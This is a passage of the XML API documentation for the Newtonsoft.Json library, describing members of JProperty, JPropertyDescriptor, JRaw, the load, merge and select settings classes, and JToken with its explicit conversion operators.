cref=\"T:Newtonsoft.Json.JsonReader\"/>.\n            </summary>\n            <param name=\"reader\">A <see cref=\"T:Newtonsoft.Json.JsonReader\"/> that will be read for the content of the <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.</param>\n            <param name=\"settings\">The <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> used to load the JSON.\n            If this is <c>null</c>, default load settings will be used.</param>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/> that contains the JSON that was read from the specified <see cref=\"T:Newtonsoft.Json.JsonReader\"/>.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\">\n            <summary>\n            Represents a view of a <see cref=\"T:Newtonsoft.Json.Linq.JProperty\"/>.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.#ctor(System.String)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JPropertyDescriptor\"/> class.\n            </summary>\n            <param name=\"name\">The name.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.CanResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, returns whether resetting an object changes its value.\n            </summary>\n            <returns>\n            <c>true</c> if resetting the component changes its value; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component to test for reset capability.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.GetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, gets the current value of the property on a component.\n            </summary>\n            <returns>\n            The value of a property for a given component.\n            </returns>\n            <param name=\"component\">The component with the property for which to retrieve the value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ResetValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, resets the value for this property of the component to the default value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be reset to the default value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.SetValue(System.Object,System.Object)\">\n            <summary>\n            When overridden in a derived class, sets the value of the component to a different value.\n            </summary>\n            <param name=\"component\">The component with the property value that is to be set.</param>\n            <param name=\"value\">The new value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JPropertyDescriptor.ShouldSerializeValue(System.Object)\">\n            <summary>\n            When overridden in a derived class, determines a value indicating whether the value of this property needs to be persisted.\n            </summary>\n            <returns>\n            <c>true</c> if the property should be persisted; otherwise, <c>false</c>.\n            </returns>\n            <param name=\"component\">The component with the property to be examined for persistence.</param>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.ComponentType\">\n            <summary>\n            When overridden in a derived class, gets the type of the component this property is bound to.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of component this property is bound to.\n            When the <see cref=\"M:System.ComponentModel.PropertyDescriptor.GetValue(System.Object)\"/> or\n            <see cref=\"M:System.ComponentModel.PropertyDescriptor.SetValue(System.Object,System.Object)\"/>\n            methods are invoked, the object specified might be an instance of this type.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.IsReadOnly\">\n            <summary>\n            When overridden in a derived class, gets a value indicating whether this property is read-only.\n            </summary>\n            <returns>\n            <c>true</c> if the property is read-only; otherwise, <c>false</c>.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.PropertyType\">\n            <summary>\n            When overridden in a derived class, gets the type of the property.\n            </summary>\n            <returns>\n            A <see cref=\"T:System.Type\"/> that represents the type of the property.\n            </returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JPropertyDescriptor.NameHashCode\">\n            <summary>\n            Gets the hash code for the name of the member.\n            </summary>\n            <value></value>\n            <returns>\n            The hash code for the name of the member.\n            </returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JRaw\">\n            <summary>\n            Represents a raw JSON string.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(Newtonsoft.Json.Linq.JRaw)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class from another <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object.\n            </summary>\n            <param name=\"other\">A <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> object to copy from.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.#ctor(System.Object)\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> class.\n            </summary>\n            <param name=\"rawJson\">The raw json.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JRaw.Create(Newtonsoft.Json.JsonReader)\">\n            <summary>\n            Creates an instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.\n            </summary>\n            <param name=\"reader\">The reader.</param>\n            <returns>An instance of <see cref=\"T:Newtonsoft.Json.Linq.JRaw\"/> with the content of the reader's current token.</returns>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\">\n            <summary>\n            Specifies the settings used when loading JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonLoadSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonLoadSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.CommentHandling\">\n            <summary>\n            Gets or sets how JSON comments are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.CommentHandling.Ignore\" />.\n            </summary>\n            <value>The JSON comment handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.LineInfoHandling\">\n            <summary>\n            Gets or sets how JSON line info is handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.LineInfoHandling.Load\" />.\n            </summary>\n            <value>The JSON line info handling.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonLoadSettings.DuplicatePropertyNameHandling\">\n            <summary>\n            Gets or sets how duplicate property names in JSON objects are handled when loading JSON.\n            The default value is <see cref=\"F:Newtonsoft.Json.Linq.DuplicatePropertyNameHandling.Replace\" />.\n            </summary>\n            <value>The JSON duplicate property name handling.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\">\n            <summary>\n            Specifies the settings used when merging JSON.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JsonMergeSettings.#ctor\">\n            <summary>\n            Initializes a new instance of the <see cref=\"T:Newtonsoft.Json.Linq.JsonMergeSettings\"/> class.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeArrayHandling\">\n            <summary>\n            Gets or sets the method used when merging JSON arrays.\n            </summary>\n            <value>The method used when merging JSON arrays.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.MergeNullValueHandling\">\n            <summary>\n            Gets or sets how null value properties are merged.\n            </summary>\n            <value>How null value properties are merged.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonMergeSettings.PropertyNameComparison\">\n            <summary>\n            Gets or sets the comparison used to match property names while merging.\n            The exact property name will be searched for first and if no matching property is found then\n            the <see cref=\"T:System.StringComparison\"/> will be used to match a property.\n            </summary>\n            <value>The comparison used to match property names while merging.</value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JsonSelectSettings\">\n            <summary>\n            Specifies the settings used when selecting JSON.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JsonSelectSettings.ErrorWhenNoMatch\">\n            <summary>\n            Gets or sets a flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </summary>\n            <value>\n            A flag that indicates whether an error should be thrown if\n            no tokens are found when evaluating part of the expression.\n            </value>\n        </member>\n        <member name=\"T:Newtonsoft.Json.Linq.JToken\">\n            <summary>\n            Represents an abstract JSON token.\n            </summary>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.EqualityComparer\">\n            <summary>\n            Gets a comparer that can compare two tokens for value equality.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JTokenEqualityComparer\"/> that can compare two nodes for value equality.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Parent\">\n            <summary>\n            Gets or sets the parent.\n            </summary>\n            <value>The parent.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Root\">\n            <summary>\n            Gets the root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The root <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Type\">\n            <summary>\n            Gets the node type for this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.\n            </summary>\n            <value>The type.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.HasValues\">\n            <summary>\n            Gets a value indicating whether this token has child tokens.\n            </summary>\n            <value>\n            \t<c>true</c> if this token has child values; otherwise, <c>false</c>.\n            </value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.DeepEquals(Newtonsoft.Json.Linq.JToken,Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Compares the values of two tokens, including the values of all descendant tokens.\n            </summary>\n            <param name=\"t1\">The first <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <param name=\"t2\">The second <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to compare.</param>\n            <returns><c>true</c> if the tokens are equal; otherwise <c>false</c>.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Next\">\n            <summary>\n            Gets the next sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the next sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Previous\">\n            <summary>\n            Gets the previous sibling token of this node.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> that contains the previous sibling token.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Path\">\n            <summary>\n            Gets the path of the JSON token. \n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddAfterSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately after this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added after this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AddBeforeSelf(System.Object)\">\n            <summary>\n            Adds the specified content immediately before this token.\n            </summary>\n            <param name=\"content\">A content object that contains simple content or a collection of content objects to be added before this token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Ancestors\">\n            <summary>\n            Returns a collection of the ancestor tokens of this token.\n            </summary>\n            <returns>A collection of the ancestor tokens of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AncestorsAndSelf\">\n            <summary>\n            Returns a collection of tokens that contain this token, and the ancestors of this token.\n            </summary>\n            <returns>A collection of tokens that contain this token, and the ancestors of this token.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.AfterSelf\">\n            <summary>\n            Returns a collection of the sibling tokens after this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens after this tokens, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.BeforeSelf\">\n            <summary>\n            Returns a collection of the sibling tokens before this token, in document order.\n            </summary>\n            <returns>A collection of the sibling tokens before this token, in document order.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Item(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.\n            </summary>\n            <value>The <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Value``1(System.Object)\">\n            <summary>\n            Gets the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> with the specified key converted to the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to convert the token to.</typeparam>\n            <param name=\"key\">The token key.</param>\n            <returns>The converted token value.</returns>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.First\">\n            <summary>\n            Get the first child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the first child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"P:Newtonsoft.Json.Linq.JToken.Last\">\n            <summary>\n            Get the last child token of this token.\n            </summary>\n            <value>A <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the last child token of the <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>.</value>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order.\n            </summary>\n            <returns>An <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> of <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Children``1\">\n            <summary>\n            Returns a collection of the child tokens of this token, in document order, filtered by the specified type.\n            </summary>\n            <typeparam name=\"T\">The type to filter the child tokens on.</typeparam>\n            <returns>A <see cref=\"T:Newtonsoft.Json.Linq.JEnumerable`1\"/> containing the child tokens of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Values``1\">\n            <summary>\n            Returns a collection of the child values of this token, in document order.\n            </summary>\n            <typeparam name=\"T\">The type to convert the values to.</typeparam>\n            <returns>A <see cref=\"T:System.Collections.Generic.IEnumerable`1\"/> containing the child values of this <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/>, in document order.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Remove\">\n            <summary>\n            Removes this token from its parent.\n            </summary>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.Replace(Newtonsoft.Json.Linq.JToken)\">\n            <summary>\n            Replaces this token with the specified token.\n            </summary>\n            <param name=\"value\">The value.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Writes this token to a <see cref=\"T:Newtonsoft.Json.JsonWriter\"/>.\n            </summary>\n            <param name=\"writer\">A <see cref=\"T:Newtonsoft.Json.JsonWriter\"/> into which this method will write.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/> which will be used when writing the token.</param>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString\">\n            <summary>\n            Returns the indented JSON for this token.\n            </summary>\n            <remarks>\n            <c>ToString()</c> returns a non-JSON string value for tokens with a type of <see cref=\"F:Newtonsoft.Json.Linq.JTokenType.String\"/>.\n            If you want the JSON for all token types then you should use <see cref=\"M:Newtonsoft.Json.Linq.JToken.WriteTo(Newtonsoft.Json.JsonWriter,Newtonsoft.Json.JsonConverter[])\"/>.\n            </remarks>\n            <returns>\n            The indented JSON for this token.\n            </returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.ToString(Newtonsoft.Json.Formatting,Newtonsoft.Json.JsonConverter[])\">\n            <summary>\n            Returns the JSON for this token using the given formatting and converters.\n            </summary>\n            <param name=\"formatting\">Indicates how the output should be formatted.</param>\n            <param name=\"converters\">A collection of <see cref=\"T:Newtonsoft.Json.JsonConverter\"/>s which will be used when writing the token.</param>\n            <returns>The JSON for this token using the given formatting and converters.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Boolean\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTimeOffset\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Boolean}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Boolean\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTime}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.DateTimeOffset}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTimeOffset\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Decimal}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Double}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Char}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Int16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt16\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Char\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Char\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.SByte\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int32\"/> .\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt16}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt16\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Byte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Byte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.SByte}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.SByte\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.DateTime\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.DateTime\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Int64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Int64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Single}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Decimal\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Decimal\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt32}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.UInt64}\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Nullable`1\"/> of <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Double\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Double\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Single\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Single\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.String\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.String\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt32\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt32\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.UInt64\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.UInt64\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Byte[]\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Byte\"/>[].\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Guid\">\n            <summary>\n            Performs an explicit conversion from <see cref=\"T:Newtonsoft.Json.Linq.JToken\"/> to <see cref=\"T:System.Guid\"/>.\n            </summary>\n            <param name=\"value\">The value.</param>\n            <returns>The result of the conversion.</returns>\n        </member>\n        <member name=\"M:Newtonsoft.Json.Linq.JToken.op_Explicit(Newtonsoft.Json.Linq.JToken)~System.Nullable{System.Guid}\">\n            <summary>\n            Performs 